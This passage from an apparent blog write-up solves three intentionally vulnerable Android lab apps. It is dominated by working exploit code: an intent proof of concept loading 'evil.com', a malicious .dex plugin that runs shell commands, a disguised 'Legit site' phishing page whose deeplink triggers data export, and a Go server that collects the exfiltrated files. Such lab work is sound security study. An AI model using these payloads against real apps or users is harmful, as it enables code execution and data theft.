    intent.putExtra("enable_security", false);  
    intent.setPackage("com.eightksec.droidview");  
    sendBroadcast(intent);  
    Log.i("POC", "Disable broadcast sent");  
    new android.os.Handler().postDelayed(new Runnable() {  
        @Override  
        public void run() {  
  
            Url();  
  
        }  
    }, 1000);  // 1 second delay  
}

Method to send the malicious url

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public void Url() {  
    Intent loadIntent = new Intent();  
    loadIntent.setAction("com.eightksec.droidview.LOAD_URL");  
    loadIntent.putExtra("url", "http://evil.com");  
    loadIntent.setComponent(new ComponentName("com.eightksec.droidview", "com.eightksec.droidview.MainActivity"  
    ));  
    loadIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
    try {  
        startActivity(loadIntent);  
        Log.i("POC", "Load URL activity started");  
    } catch (Exception e) {  
        Log.e("POC", "Failed to start Load URL activity", e);  
    }  
}

Before the exploit is run , the target app has to be started in order to register the broadcast receiver.


DroidWars

This app loads plugins defined by a user , the plugins have to be in .dex format.

WhatsApp Image 2025-07-14 at 13.31.08_82c72202

GOAL: Create a malicious plugin

Analysis

This is the only exported activity

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<activity
  
            android:name="com.eightksec.droidwars.MainActivity"
  
            android:exported="true">
  
            <intent-filter>
  
                <action android:name="android.intent.action.MAIN"/>
  
                <category android:name="android.intent.category.LAUNCHER"/>
  
            </intent-filter>
  
        </activity>

In the app there is a sample Pikachu plugin that is already loaded so we will use its structure to create out own malicious plugin.

The struct of a plugins should be like.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public interface PokemonPlugin {
  
    List<String> getAbilities();
  
  
    String getDescription();
  
  
    int getImageResourceId();
  
  
    String getName();
  
  
    Map<String, Integer> getStats();
  
  
    String getType();
  
}

From the PluginLoader class we can see that plugins ae loaded from “/sdcard/PokeDex/plugins”

1
2
3
4
5
6
7
8
9
 public static final Companion INSTANCE = new Companion(null);
  
    public static final String PLUGINS_DIR = "/sdcard/PokeDex/plugins/";
  
    private static final String PLUGIN_INTERFACE = "com.eightksec.droidwars.plugin.PokemonPlugin";
  
    private static final String SIMPLE_PLUGIN_INTERFACE = "SimplePlugin";
  
    private static final String TAG

The plugin name should also be “MaliciousPlugin”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
private final Object loadSimplePlugin(ClassLoader classLoader, String pluginName) {
  
        Class<?> loadClass;
  
        for (String str : CollectionsKt.listOf((Object[]) new String[]{String.valueOf(StringsKt.removeSuffix(pluginName, (CharSequence) "Plugin")), String.valueOf(pluginName), "MaliciousPlugin"})) {
  
            try {
  
                String str2 = "Attempting to load SimplePlugin implementation: " + str;
  
                Log.d(TAG, str2);
  
                Function1<? super String, Unit> function1 = this.onLogMessage;
  
                if (function1 != null) {
  
                    function1.invoke(str2);
  
                }
  
                loadClass = classLoader.loadClass(str);
  
                Intrinsics.checkNotNull(loadClass);
  
            } catch (ClassNotFoundException unused) {
  
                String str3 = "SimplePlugin class not found: " + str;
  
                Log.d(TAG, str3);
  
                Function1<? super String, Unit> function12 = this.onLogMessage;
  
                if (function12 != null) {
  
                    function12.invoke(str3);
  
                    Unit unit = Unit.INSTANCE;
  
                }
  
            } catch (Exception e) {
  
                String str4 = "Error checking SimplePlugin class " + str + ": " + e.getMessage();
  
                Log.e(TAG, str4, e);
  
                Function1<? super String, Unit> function13 = this.onLogMessage;
  
                if (function13 != null) {
  
                    function13.invoke(str4);
  
                    Unit unit2 = Unit.INSTANCE;
  
                }
  
            }
  
            if (isSimplePluginImplementation(loadClass)) {
  
                String str5 = "Found SimplePlugin implementation: " + str;
  
                Log.d(TAG, str5);
  
                Function1<? super String, Unit> function14 = this.onLogMessage;
  
                if (function14 != null) {
  
                    function14.invoke(str5);
  
                }
  
                classLoader = loadClass.newInstance();
  
                return classLoader;
  
            }
  
            Unit unit3 = Unit.INSTANCE;
  
        }
  
        return null;
  
    }

Exploit

To create our malicious plugin we need to put the plugin code and struct in the same folder.

It has to match the same package as the target app , so create a folder “com/eightksec/droidwars/plugin”

My plugin below does code execution. The file has to be names “MaliciousPlugin.java”

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
package com.eightksec.droidwars.plugin;

  

import android.util.Log;

import java.io.BufferedReader;

import java.io.File;

import java.io.FileReader;

import java.io.InputStreamReader;

import java.util.Arrays;

import java.util.HashMap;

import java.util.List;

import java.util.Map;

  

public class MaliciousPlugin implements PokemonPlugin {

  

    @Override

    public String getName() {

        executeMaliciousLogic();

        return "Malicious Pikachu";

    }

  

    @Override

    public String getType() {

        return "Electric (Malicious)";

    }

  

    @Override

    public String getDescription() {

        return "This Pikachu tries to read sensitive files!";

    }

  

    @Override

    public int getImageResourceId() {

        return 0; // Use 0 if no drawable needed

    }

  

    @Override

    public List<String> getAbilities() {

        return Arrays.asList("Stealth", "Data Theft");

    }

  

    @Override

    public Map<String, Integer> getStats() {

        Map<String, Integer> stats = new HashMap<>();

        stats.put("Malice", 999);

        return stats;

    }

  

    private void executeMaliciousLogic() {

    try {

        // 2) Run shell command `id`

        Process process = Runtime.getRuntime().exec("id");

        BufferedReader cmdReader = new BufferedReader(new InputStreamReader(process.getInputStream()));

        StringBuilder cmdOutput = new StringBuilder();

        String line;

        while ((line = cmdReader.readLine()) != null) {

            cmdOutput.append(line).append("\n");

        }

        cmdReader.close();

        process.waitFor();

        Log.e("MaliciousPlugin", "Shell command output: " + cmdOutput);

        System.out.println("MaliciousPlugin shell output: " + cmdOutput);

  

    } catch (Exception e) {

        Log.e("MaliciousPlugin", "Error in malicious logic", e);

    }

}

}

I also added in the same folder “PokemonPlugin.java” with the following contents

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.eightksec.droidwars.plugin;

  

import java.util.List;

import java.util.Map;

  

public interface PokemonPlugin {

    String getName();

    String getType();

    String getDescription();

    int getImageResourceId();

    List<String> getAbilities();

    Map<String, Integer> getStats();

}

To compile these , i wont lie i needed the help of chatgpt to do this , java is such a crazy language.

Anyways…

It first compiles the java code to jar archives , then converts the jar to dex , then pushes to the plugin folder using adb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# Configurable paths

$ANDROID_JAR = "C:\Users\f0rk3b0mb\AppData\Local\Android\Sdk\platforms\android-34\android.jar"

$SRC_DIR = "src\com\eightksec\droidwars\plugin"

$OUT_DIR = "out"

$JAR_NAME = "plugin.jar"

  

# Make sure the output directory exists

if (-Not (Test-Path $OUT_DIR)) {

    New-Item -ItemType Directory -Path $OUT_DIR | Out-Null

}

  

Write-Output "[*] Compiling Java sources..."

javac -d $OUT_DIR -classpath $ANDROID_JAR `

    "$SRC_DIR\PokemonPlugin.java" `

    "$SRC_DIR\MaliciousPlugin.java"

  

if ($LASTEXITCODE -ne 0) {

    Write-Error "[!] Compilation failed."

    exit 1

}

  

Set-Location $OUT_DIR

  

Write-Output "[*] Creating JAR archive..."

jar cvf ..\$JAR_NAME com

  

if ($LASTEXITCODE -ne 0) {

    Write-Error "[!] JAR creation failed."

    exit 1

}

  

Set-Location ..

  

Write-Output "[*] Converting JAR to DEX..."

d8.bat --output=. .\$JAR_NAME

  

if ($LASTEXITCODE -ne 0) {

    Write-Error "[!] DEX conversion failed."

    exit 1

}

  

Write-Output "[*] Pushing DEX to device..."

adb push .\classes.dex /sdcard/PokeDex/plugins/Malicious.dex

  

if ($LASTEXITCODE -ne 0) {

    Write-Error "[!] adb push failed."

    exit 1

}

  

Write-Output "[+] Done! Malicious.dex deployed to /sdcard/PokeDex/plugins/ on your device."

If we launch the app the plugin is loaded and we get code execution.


ReconDroid

If you’ve read the writeup to this point good for you, also get a job :)

WhatsApp Image 2025-07-14 at 13.28.02_a987b38c

This app lists information on a systems android apps and can then export this information to a remote endpoint.

GOAL: create a webpage that tricks a user so as to steal their critical information.

Here we will be creating a webpage instead of an app . yay.

Analysis

These are the only exported activities

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
 <activity
  
            android:name="com.eightksec.recondroid.MainActivity"
  
            android:exported="true">
  
            <intent-filter>
  
                <action android:name="android.intent.action.MAIN"/>
  
                <category android:name="android.intent.category.LAUNCHER"/>
  
            </intent-filter>
  
            <intent-filter android:autoVerify="true">
  
                <action android:name="android.intent.action.VIEW"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
                <category android:name="android.intent.category.BROWSABLE"/>
  
                <data
  
                    android:scheme="recondroid"
  
                    android:host="export"/>
  
            </intent-filter>
  
            <intent-filter android:autoVerify="true">
  
                <action android:name="android.intent.action.VIEW"/>
  
                <category android:name="android.intent.category.DEFAULT"/>
  
                <category android:name="android.intent.category.BROWSABLE"/>
  
                <data
  
                    android:scheme="recondroid"
  
                    android:host="debug"/>
  
            </intent-filter>
  
        </activity>
  
        <provider
  
            android:name="com.eightksec.recondroid.DebugInfoProvider"
  
            android:readPermission="android.permission.INTERNET"
  
            android:exported="true"
  
            android:authorities="com.eightksec.recondroid.debug"/>
        

In the DebugInfoProvider is where the magic happens. If you proceed down this rabbit hole good luck.

Anyways…

In the MainActivity we can see how it handles intents

We need to set the host to debug to avoid going down the rabbit hole, we just need to supply the remote ip , port and protocol which is http.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
private final void handleIntent(Intent intent) {
  
        Log.d("ReconDroid", "=== INTENT RECEIVED ===");
  
        if (Intrinsics.areEqual(intent.getAction(), "android.intent.action.VIEW")) {
  
            Uri data = intent.getData();
  
            if (Intrinsics.areEqual(data != null ? data.getScheme() : null, "recondroid")) {
  
                Log.d("ReconDroid", "ReconDroid deeplink detected!");
  
                String host = data.getHost();
  
                if (host != null) {
  
                    int hashCode = host.hashCode();
  
                    if (hashCode != -1289153612) {
  
                        if (hashCode == 95458899 && host.equals("debug")) {
  
                            handleDebugDeeplink(data);
  
                            return;
  
                        }
  
                    } else if (host.equals("export")) {
  
                        handleExportDeeplink(data);
  
                        return;
  
                    }
  
                }
  
                Log.d("ReconDroid", "Unknown deeplink host: " + data.getHost());
  
                return;
  
            }
  
            Log.d("ReconDroid", "Not a ReconDroid deeplink");
  
            return;
  
        }
  
        Log.d("ReconDroid", "Not an ACTION_VIEW intent");
  
    }

This will result in calling a method performAutoExport

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
private final void handleDebugDeeplink(Uri uri) {
  
        String str;
  
        String queryParameter = uri.getQueryParameter("action");
  
        if (Intrinsics.areEqual(queryParameter, "get_key")) {
  
            performKeyDiagnostics();
  
            String queryParameter2 = uri.getQueryParameter("host");
  
            String queryParameter3 = uri.getQueryParameter("port");
  
            String queryParameter4 = uri.getQueryParameter("protocol");
  
            if (queryParameter4 == null) {
  
                queryParameter4 = "http";
  
            }
  
            String str2 = queryParameter2;
  
            if (str2 == null || str2.length() == 0 || (str = queryParameter3) == null || str.length() == 0) {
  
                return;
  
            }
  
            performAutoExport(queryParameter4, queryParameter2, queryParameter3);
  
            return;
  
        }
  
        if (Intrinsics.areEqual(queryParameter, "get_status")) {
  
            BackupExportManager backupExportManager = this.backupExportManager;
  
            if (backupExportManager == null) {
  
                Intrinsics.throwUninitializedPropertyAccessException("backupExportManager");
  
                backupExportManager = null;
  
            }
  
            backupExportManager.showToast("Debug: System operational");
  
        }
  
    }

Exploit

To create an exploit we will ned to create a webpage and webserver to handle data exfil.

I decided to use golang since im not a noob and want to be diffferent :()

Anyways index.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Legit site</title>

</head>

<body>

    <center>

        <h1>Welcome to the Legit Site</h1>

        <p>This is a safe and secure website.</p>

        <p>For the deeplink is in the link below, adjust host and port for demonstration purposes.</p>

  

    </center>

    <h3><a href="recondroid://debug?action=get_key&protocol=http&host=192.168.156.97&port=8000">Click here for more information</a></h3>

</body>

</html>

The deeplink is “recondroid://debug?action=get_key&protocol=http&host=192.168.156.97&port=8000”

Then this is my webserver listening on the host and port

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package main

  

import (

    "io"

    "log"

    "net/http"

    "os"

)

  

func ProcessRequest(w http.ResponseWriter, r *http.Request) {

    if r.Method != http.MethodPost {

        http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)

        return

    }

  

    err := r.ParseMultipartForm(10 << 20) // Limit to 10 MB

    if err != nil {

        http.Error(w, "Error parsing form: "+err.Error(), http.StatusBadRequest)

        return

    }

  

    file, fileheader, err := r.FormFile("file") // Expecting a form field named "file"

    if err != nil {

        http.Error(w, "Error retrieving file: "+err.Error(), http.StatusBadRequest)

        return

    }

  

    log.Println("[+] File received :", fileheader.Filename)

    defer file.Close()

  

    out, err := os.Create("./uploads/" + fileheader.Filename) // Save to uploads directory

    if err != nil {

        http.Error(w, "Error creating file: "+err.Error(), http.StatusInternalServerError)

        return

    }

  

    log.Println("[+] File created :", fileheader.Filename)

    defer out.Close()

  

    _, err = io.Copy(out, file)

    if err != nil {

        http.Error(w, "Error saving file: "+err.Error(), http.StatusInternalServerError)

        return

    }

    log.Println("[+] File saved successfully :", fileheader.Filename)

  

    w.Write([]byte("File uploaded successfully"))

}

  

func main() {

  

    http.HandleFunc("/upload", ProcessRequest)

  

    //send html file content

    http.Handle("/", http.FileServer(http.Dir("./static")))

  

    log.Println("Server started on 0.0.0.0:8000")

  

    err := http.ListenAndServe("0.0.0.0:8000", nil)

    if err != nil {

        log.Fatal(err)

        return

    }

  

}

This will host and run receive the exfil data.


REFERENCES

https://developer.android.com/

https://itsfading.github.io/posts/HexTree-Attack-Surface-App-Solutions

https://hextree.io/

https://github.com/f0rk3b0mb/android

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy